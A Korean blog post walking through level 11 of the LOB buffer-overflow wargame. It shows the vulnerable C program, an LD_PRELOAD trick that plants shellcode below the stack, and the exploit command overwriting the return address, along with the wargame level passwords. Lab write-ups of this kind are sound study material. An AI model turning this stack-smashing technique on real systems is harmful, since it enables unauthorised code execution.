yehey's 공부 노트 \n ο(=•ω<=)ρ⌒☆

LOB 11번 풀이 (skeleton) 본문

wargame 풀이/LOB

LOB 11번 풀이 (skeleton)

yehey 2020. 11. 24. 03:00
id: skeleton
pw: shellcoder
/*
        The Lord of the BOF : The Fellowship of the BOF
        - golem
        - stack destroyer
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // stack destroyer!
        memset(buffer, 0, 44);
        memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
}

 

  • 환경 변수 사용 가능
  • argv[1]의 48번째 문자는 '\xbf' 여야 한다.
  • buffer 출력 후 buffer를 초기화 한다.
  • buffer+48 부터 0xbfffffff 까지 0으로 초기화 한다.

일반적으로 프로그램을 실행할 때, 내부 함수들이 아닌 다른 임의 함수를 추가해서 사용하려고 할 때 해당 함수를 메모리상에 로드해야한다.

이때, 프로그램 동작시에 해당 함수가 잘 실행되려면 사전에 메모리에 로드해야 한다.

리눅스에서는 이처럼 사전에 메모리에 함수를 로드하기 위한 'LD_PRELOAD'라는 환경변수가 존재한다.

LD_PRELOAD 환경변수에 파일을 등록하면 해당 파일이 프로그램이 메모리 로드 되기 전에 먼저 메모리에 로드된다.

 

만약 LD_PRELOAD 환경변수에 특정 파일을 등록하면 해당 파일 이름과 코드가 프로그램의 스택 아래쪽에 등록이 된다.

이때, 코드에서 buffer부터 ret를 제외하고 0xbfffffff 까지를 0으로 초기화하는 것은 LD_PRELOAD에 영향을 주지 않는다.

 

따라서 LD_PRELOAD에 a.c라는 파일을 쉘 코드 이름으로 등록하자.

 

먼저 a.c 라는 내용이 없는 빈 파일을 만들어주자.

 

그리고 a.c 파일을 쉘코드 이름으로 컴파일해주자. (앞선 문제들과 마찬가지로 \x2f가 들어가 있지 않은 코드를 사용해야 한다.)

 

그리고 LD_PRELOAD 환경변수에 해당 파일(쉘 코드 이름으로 된 빈 파일)을 등록해주자.

 

그리고 해당 파일 위치를 찾기 위해 gdb를 켜서 확인해보았다.

 

0xbffff580 부터 \x90 이 보이고, 이 이후로는 쉘 코드가 있다. 따라서 ret 주소에 넉넉하게 0xbffff5a0 을 넣어주면 쉘 코드가 실행될 것이다.

 

./golem `python -c 'print "A"*44+"\xa0\xf5\xff\xbf"'`

 

golem권한으로 쉘이 실행되었다.

 

golem의 pw: "cup of coffee"

'wargame 풀이 > LOB' 카테고리의 다른 글

LOB 13번 풀이 (darkknight)  (0) 2020.12.30
LOB 12번 풀이 (golem)  (0) 2020.12.30
LOB 10번 풀이 (vampire)  (0) 2020.11.22
LOB 9번 풀이 (troll)  (0) 2020.11.21
LOB 8번 풀이 (orge)  (0) 2020.11.19
Comments